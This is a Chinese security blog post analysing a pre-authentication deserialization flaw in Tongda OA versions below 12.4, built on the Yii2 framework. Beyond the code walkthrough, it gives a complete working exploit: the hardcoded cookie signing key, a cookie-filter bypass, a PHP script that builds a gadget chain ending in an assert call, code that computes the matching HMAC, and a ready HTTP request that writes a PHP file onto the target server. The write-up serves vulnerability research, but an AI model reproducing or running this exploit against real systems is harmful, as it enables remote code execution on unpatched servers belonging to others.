通达OA <12.4 反序列化漏洞分析

· 2023-10-13 17:03 · 0 阅读

原创 aspir1ng 2023-10-13 17:03 北京

通达OA < 12.4 反序列化漏洞分析

0x00 前置知识和准备

1.yii版本和源码准备

查看通达oa 11.10使用的yii框架版本是

2.0.13-dev

,该版本在

inc/vendor/yii2/yiisoft/yii2/BaseYii.php

yii/BaseYii

)的

getVersion

方法可以查看。由于通达oa解密后的代码会对yii框架部分代码有影响,会出现乱码的情况,所以建议找到对应版本后上yii仓库下载源码。

static public function getVersion() {  return "2.0.13-dev"; }

2.yii csrftoken配置方法

  • 单个controller开启:

在控制器中设置

public $enableCsrfValidation = true;

  • 全局开启:

在yii框架的

/config/main.php

设置

request => [    'enableCookieValidation' => true,]

yii框架默认是开启这个设置的。

  • 针对提交的数据流进行设置

通达oa在

inc/vendor/yii2/yiisoft/yii2/web/Request.php

页面中,设置

public $enableCsrfValidation = true;$enableCsrfValidation = true;

(默认)

还可以设置beforeAction在某些方法之前进行csrf token、afterAction在某些方法之后进行csrf token、表单设置、ajax异步post请求设置,这些其他模式设置csrf token请查看《Yii2 关闭和打开csrf 验证》。

3.yii csrftoken http报文格式

Cookie中_csrf的参数,格式大致如下:

Cookie: _csrf=[0-9a-zA-Z]a:2:{i:0;s:5:"_csrf";i:1;s:32:"[0-9a-zA-Z]"}

a开始就是序列化的数组数据。

例如:

Cookie: _csrf=1e21c37c4e981a0a44b6ae2c6af5f73007458c445682db139b040fc8262a9266a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22brBzjgY3PLWqhQtyweObnwZg74YP17Fn%22%3B%7D;

通过这些可以看到该漏洞的利用条件如下:

  • yii csrf token开启(默认开启)

  • 只能影响到yii框架函数request类请求的数据流,php原生请求方式不受影响。

0x01 漏洞分析

1.反序列化触发点csrfMetaTags

yii框架csrf token生成的时候会生成一部分序列化数据,校验该token需要对这部分序列化数据进行反序列化校验。

yii/helpers/BaseHtml

csrfMetaTags

方法是生成csrftoken后将其放在html的meta标签里面的方法。yii默认是开启csrf校验的,所以

$request->enableCsrfValidation

默认为true,默认就会调用

yii/web/Request::getCsrfToken

方法获取csrf token。

public static function csrfMetaTags()    {        $request = Yii::$app->getRequest();        // $request是framework/web/Request.php Request类        if ($request instanceof Request && $request->enableCsrfValidation) {            return static::tag('meta''', ['name' => 'csrf-param''content' => $request->csrfParam]) . "\n    "                . static::tag('meta''', ['name' => 'csrf-token''content' => $request->getCsrfToken()]) . "\n";        }        return '';    }//framework/web/Request.php public $enableCsrfValidation = true;

跟进

getCsrfToken

方法,

$this->_csrfToken

可控,设置为null,从而能继续进入

$this->loadCsrfToken()

public function getCsrfToken($regenerate = false)    {        //可设置 $this->_csrfToken = null        if ($this->_csrfToken === null || $regenerate) {            if ($regenerate || ($token = $this->loadCsrfToken()) === null)            {                $token = $this->generateCsrfToken();            }            $this->_csrfToken = Yii::$app->security->maskToken($token);        }        return $this->_csrfToken;    }

$this->loadCsrfToken()

由于

$this->enableCsrfCookie

默认就为

true

,就会调用

getCookies

方法。

$this->_cookies

可控,从而调用

$this->loadCookies()

loadCookies

方法中

$this->cookieValidationKey

根据手册开启csrf校验该密钥可以在yii web配置里查看。通达oa中yii的web配置文件是

general/appbuilder/config/web.php

,在这里面可以看到固定密码为

tdide2

protected function loadCsrfToken()    {        //默认或可设置$enableCsrfCookie = true        if ($this->enableCsrfCookie) {            return $this->getCookies()->getValue($this->csrfParam);        }        return Yii::$app->getSession()->get($this->csrfParam);    }public function getCookies()    {        if ($this->_cookies === null) {            $this->_cookies = new CookieCollection($this->loadCookies(), [                'readOnly' => true,            ]);        }        return $this->_cookies;    }protected function loadCookies()    {        $cookies = [];        if ($this->enableCookieValidation) {            if ($this->cookieValidationKey == '') {                throw new InvalidConfigException(get_class($this) . '::cookieValidationKey must be configured with a secret key.');            }            foreach ($_COOKIE as $name => $value) {                if (!is_string($value)) {                    continue;                }              //$this->cookieValidationKey = 'tdide2'                $data = Yii::$app->getSecurity()->validateData($value, $this->cookieValidationKey);                if ($data === false) {                    continue;                }              // 反序列化点                $data = @unserialize($data);                if (is_array($data) && isset($data[0], $data[1]) && $data[0] === $name) {                    $cookies[$name] = Yii::createObject([                        'class' => 'yii\web\Cookie',                        'name' => $name,                        'value' => $data[1],                        'expire' => null,                    ]);                }            }        ......

回到

loadCookies

中,对

$_COOKIE

循环遍历并对cookie中每个字段的值用

Yii::$app->getSecurity()->validateData()

校验,校验csrf token值无问题后对其进行反序列化。
跟进发现是

yii/base/Security

validataData

方法。该方法校验思路是比对cookie的csrf token中传入的hash和代码中重新计算的hash是否一致。

hash_hmac

设置的是

sha256

位的hash计算模式,因此每次传入csrf token都要计算对应的hash值。

public function validateData($data, $key, $rawHash = false)    {        //$this->macHash = sha256        $test = @hash_hmac($this->macHash, '''', $rawHash);        if (!$test) {            throw new InvalidConfigException('Failed to generate HMAC with hash algorithm: ' . $this->macHash);        }        $hashLength = StringHelper::byteLength($test);        if (StringHelper::byteLength($data) >= $hashLength) {            $hash = StringHelper::byteSubstr($data, 0, $hashLength);            $pureData = StringHelper::byteSubstr($data, $hashLength, null);            //hash_mac('sha256',$pureData,'tdide2',false)            $calculatedHash = hash_hmac($this->macHash, $pureData, $key, $rawHash);            if ($this->compareString($hash, $calculatedHash)) {                return $pureData;            }        }        return false;    }

2.通达OA调用csrfMetaTags的地方

分析完了反序列化unserialize的触发点,但还要找到调用

csrfMetaTags

方法的地方。由于

yii/web/Request::csrfMetaTags

是生成html页面meta标签的csrf token,因此调用的地方一般在html模版或者写页面的方法中。全局搜索,在

general/appbuilder/views/layouts/main.php

中有调用该方法。

<?php$this->beginPage();echo "<!DOCTYPE html>\n<html lang=\"";echo Yii::$app->language;echo "\">\n<head>\n    <meta charset=\"";echo Yii::$app->charset;echo "\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    ";echo yii\helpers\Html::csrfMetaTags();echo "    <title>";......

查看

/general/appbuilder/

目录结构发现

general/appbuilder/views/

是yii框架写的模板主页面。只要调用了该路由下的方法就能触发模板渲染。
根据手册,

general/appbuilder/config/params.php

是配置框架参数的,其中

skip_module

是配置不进行鉴权的模块,其中就有

portal

门户模块。

<?phpinclude_once "inc/td_config.php";$arr_mysql_server = explode(":", TD::$_arr_db_master["host"]);return array(...... "skip_module"           => array("portal""hr""meeting""formCenter""calendar""officeproduct""invoice"),

同时

general/appbuilder/web/index.php

是yii路由入口,获取请求路径后以问号为分隔符substr分割路径和uri参数。

portal

模块下不是

gateway、/gateway/saveportal、edit、uploadfile、uploadportalfile、uploadpicture、dologin

的话会直接跳转到

index.php

,从而可以触发

general/appbuilder/views/layouts/main.php

模板。

...... else {  $url = $_SERVER["REQUEST_URI"]; //获取路径  $strurl = substr($url, 0, strpos($url, "?")); //分割路径和uri参数  if (strpos($strurl, "/portal/") !== false) {   if (strpos($strurl, "/gateway/") === false) {    header("Location:/index.php");    sess_close();    exit();   }   else if (strpos($strurl, "/gateway/saveportal") !== false) {    header("Location:/index.php");    sess_close();    exit();   }   else if (strpos($url, "edit") !== false) {    header("Location:/index.php");    sess_close();    exit();   }   else if (strpos($url, "uploadfile") !== false) {    header("Location:/index.php");    sess_close();    exit();   }   else if (strpos($url, "uploadportalfile") !== false) {    header("Location:/index.php");    sess_close();    exit();   }   else if (strpos($url, "uploadpicture") !== false) {    header("Location:/index.php");    sess_close();    exit();   }   else if (strpos($url, "dologin") !== false) {    header("Location:/index.php");    sess_close();    exit();   }  }    ......

因此,触发漏洞的路由是

/general/appbuilder/portal/gateway/?

inc/common.inc.php

可以看到通达OA有全局的addslashes过滤,对Cookie中过滤。传入payload的时候将

_csrf

改为

_GET、_POST

等就可以绕过。

if (0 < count($_COOKIE)) {  foreach ($_COOKIE as $s_key => $s_value ) {    if ((substr($s_key, 07) == "_SERVER") || (substr($s_key, 08) == "_SESSION") || (substr($s_key, 07) == "_COOKIE") || (substr($s_key, 04) == "_GET") || (substr($s_key, 05) == "_POST") || (substr($s_key, 06) == "_FILES")) {      continue;    }    if (!is_array($s_value)) {      $_COOKIE[$s_key] = addslashes(strip_tags($s_value));    }    $s_key = $_COOKIE[$s_key];  }  reset($_COOKIE);}

3.yii 反序列化链

yii常见的反序列化起点是利用

yii\db\BatchQueryResult

的。其中yii框架POP1链条差不多如下:

**yii\db\BatchQueryResult-Faker\Generator-yii\rest\CreateAction**

,但是通达oa里并没有用

**Faker\Generator**

,而且好多yii反序列化链涉及的类都通达oa都没有,因此这里需要重新找一条链。

yii\db\BatchQueryResult

__destruct

调用的

reset

方法,其中

$this->_dataReader

可控,

$this->_dataReader->close()

可以理解为

可控类->close()

。全局搜索到

yii\db\DataReader

存在

close()

方法。

public function __destruct()    {        // make sure cursor is closed        $this->reset();    }public function reset()    {        if ($this->_dataReader !== null) {             $this->_dataReader->close();        }        $this->_dataReader = null;        $this->_batch = null;        $this->_value = null;        $this->_key = null;    }

因此,可设置

$this->_dataReader=new DataReader()

从而触发调用其

close

方法,进入后

$this->_statement

可控,同样是

可控类->closeCursor()

,但是全局搜索没找到什么对应的类。尝试找带有

call

方法的类,通过调用其不存在的

closeCursor

,触发

call

方法。

public function close()    {        $this->_statement->closeCursor();//$this->_statement = new Connection();        $this->_closed = true;    }

在通达oa 11.10全局搜索中找到

yii2

框架还用了

yii2-redis

库,在

yii2-redis

里面找到

yii\redis\Connection

类存在

call

方法。

打开后发现代码由于解密问题有乱码问题,找到对应的yii2-redis仓库下载对应版本的源码(

inc/vendor/yii2/yiisoft/extensions.php

页面可查看

yii2-redis

版本为

2.0.6

)。

$redisCommand=$name='closeCursor'

转换为大写,再与

$this->redisCommands

比对,查看是否存在其中,而

$this->redisCommands

可控,可参照其默认值形式,设置为

CLOSE CURSOR

,从而可进入

executeCommand

public $redisCommands = [        'APPEND'// Append a value to a key        'AUTH'// Authenticate to the server        'BGREWRITEAOF'// Asynchronously rewrite the append-only file        'BGSAVE'// Asynchronously save the dataset to disk......    ];public function __call($name, $params)//$name=closeCursor,$params=null    {        $redisCommand = strtoupper(Inflector::camel2words($name, false));//CLOSECURSOR        if (in_array($redisCommand, $this->redisCommands)) {            return $this->executeCommand($redisCommand, $params);        }        return parent::__call($name, $params);    }

executeCommand

调用

open

方法,跟进发现

$this->_socket

可控,为保证代码继续运行这里要设置为

false

(默认初始化值为false)。

$connection

hostname、port、database

拼接,每个变量都可控,然后后续进行socket的链接。由于通达一体包系统环境一般是win系统,所以设置

$this->unixSocket

为false(可控)就能进入win下tcp链接。这里只要连通就可以让

$this->_socket

为true进入if分支。if分之内前面三个if条件

$this->dataTimeout、$this->password、$this->database

都可控,这三个分支调用的不是

executeCommand

的递归就是又进行socket链接都不符合情况,所以需要设置为null,才能保证进入

initConnection()

public function executeCommand($name, $params = [])    {        $this->open();......    }public function open()    {        if ($this->_socket !== false) {            return;        }        $connection = ($this->unixSocket ?: $this->hostname . ':' . $this->port) . ', database=' . $this->database;        \Yii::trace('Opening redis DB connection: ' . $connection, __METHOD__);        $this->_socket = @stream_socket_client(            $this->unixSocket ? 'unix://' . $this->unixSocket : 'tcp://' . $this->hostname . ':' . $this->port,            $errorNumber,            $errorDescription,            $this->connectionTimeout ? $this->connectionTimeout : ini_get('default_socket_timeout'),            $this->socketClientFlags        );        if ($this->_socket) {            if ($this->dataTimeout !== null) {                stream_set_timeout($this->_socket, $timeout = (int) $this->dataTimeout, (int) (($this->dataTimeout - $timeout) * 1000000));            }            if ($this->password !== null) {                $this->executeCommand('AUTH', [$this->password]);            }            if ($this->database !== null) {                $this->executeCommand('SELECT', [$this->database]);            }            $this->initConnection();        }    ......}  

initConnection()

实际调用的是

yii\base\Component(framework/base/Component.php)::trigger()

方法,参数

EVENT_AFTER_OPEN

固定值是

afterOpen

const EVENT_AFTER_OPEN = 'afterOpen';protected function initConnection()    {        $this->trigger(self::EVENT_AFTER_OPEN);//$this->trigger('afterOpen');    }

trigger

方法在line560调用了

call_user_func

,逆向溯源两个

$handler[0]

$event

参数。

$this->_events[$name]=$this->['afterOpen']

不为空,就能进入该分支调用

call_user_func

。然后对

$this->_events['afterOpen']

进行数组遍历,于是

$this->_events['afterOpen'][0]=$handler[0]

可控,

$this->_events['afterOpen'][1]=$event->data=Event::data

不可控。

public function trigger($name, Event $event = null)    {        $this->ensureBehaviors();        //$this->_events['afterOpen'] = ''        if (!empty($this->_events[$name])) {            if ($event === null) {                $event = new Event();            }            if ($event->sender === null) {                $event->sender = $this;//yii\base\Component            }            $event->handled = false;            $event->name = $name;//'afterOpen'            //$this->>_events['afterOpen'] = $handler;             foreach ($this->_events[$name] as $handler) {                $event->data = $handler[1];//any                call_user_func($handler[0],$event);//call_user_func([new CreateAction,'run'],any);                // stop further handling if the event is handled                if ($event->handled) {                    return;                }            }        }        // invoke class-level attached handlers        Event::trigger($this, $name, $event);    }

参考低版本yii反序列化链执行代码注入的一般通过

yii\rest\CreateAction

或者类似的类(代码内容如下所示)。其中

$this->checkAccess

$this->id

都可控,

$this->checkAccess

设置为调用php函数,如

system

执行命令;

$this->id

设置执行内容,如命令

whoami

public function run()    {        if ($this->checkAccess) {            call_user_func($this->checkAccess, $this->id);        }      ......

结合上面的

trigger

方法,

call_user_func

参数1可以设置为调用

CreateAction

run

方法,调用方式:

call_user_func([new CreateAction, 'run'],'a')

。如何给

$this->_events['afterOpen']

赋值,继续查看如下代码注释:

           //$this->>_events['afterOpen'] = $handler; //一重数组,$handler要求是数组            foreach ($this->_events[$name] as $handler) { //二重数组,$handler分为$handler[0]和handler[1]                $event->data = $handler[1];//any                call_user_func($handler[0],$event);               //call_user_func([new CreateAction,'run'],any);                 //三重数组,call_user_func调用类需要用数组传入,形如[new A(),...params]

转换过来也就是

$this->_events['afterOpen'] = [[[new CreatAction, 'run'],'a']]

0x02 漏洞复现

1.生成反序列化链

该链条效果为写入一个名为

hgsd.php

的php文件,内容为

<?php echo 123;?>

。输出反序列化payload的base64编码,解码并urlencode作为伪造的csrf token一部分数据。

<?php//step4namespace yii\rest {    class CreateAction {        public $id;        public $checkAccess;        public function __construct() {            $this->checkAccess = 'assert';            $this->id = "file_put_contents('hgsd.php','<?php echo 123;?>')";        }    }}//step3namespace yii\base {    use yii\rest\CreateAction;    class Component {        private $_events = [];        private $_behaviors = 1;        public function __construct() {            $this->_events = ["afterOpen" => [[[new CreateAction(), "run"], "a"]]];           //第二个"a"参数任意。        }    }}//step2namespace yii\redis {    use yii\base\Component;    class Connection extends Component{        public $redisCommands = [];        public $hostname = '';        public $port;        public $password;        public $username;        public $connectionTimeout;        public $dataTimeout;        public $database;        public $unixSocket;        private $_socket;        public function __construct()        {            $this->redisCommands = array('CLOSE CURSOR');            $this->_socket = false;            $this->hostname = '127.0.0.1';            $this->port = 803;//能够连通的任意本地服务的端口            $this->unixSocket = false;            $this->connectionTimeout = 5;            parent::__construct();        }    }}// step1 namespace yii\db {    use yii\redis\Connection;    class DataReader {        private $_statement;        private $_closed = false;        private $_row;        private $_index = -1;        public function __construct()        {            $this->_statement = new Connection();        }    }    class BatchQueryResult {        public $batchSize = 100;        public $each = false;        private $_dataReader;        private $_batch;        private $_value;        private $_key;        public function __construct() {            $this->_dataReader = new DataReader();        }            }}//startnamespace {    use yii\db\BatchQueryResult;    echo base64_encode(serialize(new BatchQueryResult()));}

2. 生成反序列化hash

对第一步生成的反序列化payload(base64已编码)进行hash计算,从而生成对应的csrf token另一部分数据。

<?php$pureData=base64_decode('TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjY6e3M6OToiYmF0Y2hTaXplIjtpOjEwMDtzOjQ6ImVhY2giO2I6MDtzOjM2OiIAeWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQAX2RhdGFSZWFkZXIiO086MTc6InlpaVxkYlxEYXRhUmVhZGVyIjo0OntzOjI5OiIAeWlpXGRiXERhdGFSZWFkZXIAX3N0YXRlbWVudCI7TzoyMDoieWlpXHJlZGlzXENvbm5lY3Rpb24iOjEyOntzOjEzOiJyZWRpc0NvbW1hbmRzIjthOjE6e2k6MDtzOjEyOiJDTE9TRSBDVVJTT1IiO31zOjg6Imhvc3RuYW1lIjtzOjk6IjEyNy4wLjAuMSI7czo0OiJwb3J0IjtpOjgwMztzOjg6InBhc3N3b3JkIjtOO3M6ODoidXNlcm5hbWUiO047czoxNzoiY29ubmVjdGlvblRpbWVvdXQiO2k6NTtzOjExOiJkYXRhVGltZW91dCI7TjtzOjg6ImRhdGFiYXNlIjtOO3M6MTA6InVuaXhTb2NrZXQiO2I6MDtzOjI5OiIAeWlpXHJlZGlzXENvbm5lY3Rpb24AX3NvY2tldCI7YjowO3M6Mjc6IgB5aWlcYmFzZVxDb21wb25lbnQAX2V2ZW50cyI7YToxOntzOjk6ImFmdGVyT3BlbiI7YToxOntpOjA7YToyOntpOjA7YToyOntpOjA7TzoyMToieWlpXHJlc3RcQ3JlYXRlQWN0aW9uIjoyOntzOjI6ImlkIjtzOjIxMjoiZmlsZV9wdXRfY29udGVudHModGRfYXV0aGNvZGUoIjVhNGE4LzZGR2g2Z0hFRzEwZnZTN1JocFpVMFhBdm1CNmJJblZpOGpYNWlaTEZ4Vkh3IiwiREVDT0RFIiwiMTIzNDU2Nzg5MCIsIiIpLHRkX2F1dGhjb2RlKCIzMjk4THRaU3RaQWxKRWVma0VJdWJadjVhdU1VS2ZEeWdORmVWcTArT0JobFNYb3p5S1BMNVFMQkxYNlZFdyIsIkRFQ09ERSIsIjEyMzQ1Njc4OTAiLCIiKSkiO3M6MTE6ImNoZWNrQWNjZXNzIjtzOjY6ImFzc2VydCI7fWk6MTtzOjM6InJ1biI7fWk6MTtzOjE6ImEiO319fXM6MzA6IgB5aWlcYmFzZVxDb21wb25lbnQAX2JlaGF2aW9ycyI7aToxO31zOjI2OiIAeWlpXGRiXERhdGFSZWFkZXIAX2Nsb3NlZCI7YjowO3M6MjM6IgB5aWlcZGJcRGF0YVJlYWRlcgBfcm93IjtOO3M6MjU6IgB5aWlcZGJcRGF0YVJlYWRlcgBfaW5kZXgiO2k6LTE7fXM6MzE6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfYmF0Y2giO047czozMToiAHlpaVxkYlxCYXRjaFF1ZXJ5UmVzdWx0AF92YWx1ZSI7TjtzOjI5OiIAeWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQAX2tleSI7Tjt9');$calculatedHash = hash_hmac('sha256',$pureData,'tdide2',false); # yii general/appbuilder/config/web.php cookieValidationKey 固定值echo($calculatedHash);

3.http报文(漏洞验证)

对数据包请求方式没有限制,

get和post

方式都可以。伪造的csrf token格式是

Cookie: _GET=csrftoken_hashmac+反序列化payload urlencode

。按照payload格式拼接完毕后,在发送如下请求:

POST /general/appbuilder/web/portal/gateway/? HTTP/1.1Host: x.x.x.xCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: _GET=c90e0967189ce5543daef73219235d04c98bb1ef4b2450f2c420e3302b8fa9a3O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A6%3A%7Bs%3A9%3A%22batchSize%22%3Bi%3A100%3Bs%3A4%3A%22each%22%3Bb%3A0%3Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A17%3A%22yii%5Cdb%5CDataReader%22%3A4%3A%7Bs%3A29%3A%22%00yii%5Cdb%5CDataReader%00_statement%22%3BO%3A20%3A%22yii%5Credis%5CConnection%22%3A12%3A%7Bs%3A13%3A%22redisCommands%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A12%3A%22CLOSE%20CURSOR%22%3B%7Ds%3A8%3A%22hostname%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A4%3A%22port%22%3Bi%3A803%3Bs%3A8%3A%22password%22%3BN%3Bs%3A8%3A%22username%22%3BN%3Bs%3A17%3A%22connectionTimeout%22%3Bi%3A5%3Bs%3A11%3A%22dataTimeout%22%3BN%3Bs%3A8%3A%22database%22%3BN%3Bs%3A10%3A%22unixSocket%22%3Bb%3A0%3Bs%3A29%3A%22%00yii%5Credis%5CConnection%00_socket%22%3Bb%3A0%3Bs%3A27%3A%22%00yii%5Cbase%5CComponent%00_events%22%3Ba%3A1%3A%7Bs%3A9%3A%22afterOpen%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A212%3A%22file_put_contents(td_authcode(%225a4a8%2F6FGh6gHEG10fvS7RhpZU0XAvmB6bInVi8jX5iZLFxVHw%22%2C%22DECODE%22%2C%221234567890%22%2C%22%22)%2Ctd_authcode(%223298LtZStZAlJEefkEIubZv5auMUKfDygNFeVq0%2BOBhlSXozyKPL5QLBLX6VEw%22%2C%22DECODE%22%2C%221234567890%22%2C%22%22))%22%3Bs%3A11%3A%22checkAccess%22%3Bs%3A6%3A%22assert%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7Di%3A1%3Bs%3A1%3A%22a%22%3B%7D%7D%7Ds%3A30%3A%22%00yii%5Cbase%5CComponent%00_behaviors%22%3Bi%3A1%3B%7Ds%3A26%3A%22%00yii%5Cdb%5CDataReader%00_closed%22%3Bb%3A0%3Bs%3A23%3A%22%00yii%5Cdb%5CDataReader%00_row%22%3BN%3Bs%3A25%3A%22%00yii%5Cdb%5CDataReader%00_index%22%3Bi%3A-1%3B%7Ds%3A31%3A%22%00yii%5Cdb%5CBatchQueryResult%00_batch%22%3BN%3Bs%3A31%3A%22%00yii%5Cdb%5CBatchQueryResult%00_value%22%3BN%3Bs%3A29%3A%22%00yii%5Cdb%5CBatchQueryResult%00_key%22%3BN%3B%7DConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0

执行成功后响应500,响应体如下图所示:

文件生成目录:

/general/appbuilder/web/

,上述生成的poc文件目录是

/general/appbuilder/web/hgsd.php

Reference

漏洞挖掘发布者:烽火台实验室-【新】通达OA前台反序列化漏洞分析

阅读原文

跳转微信打开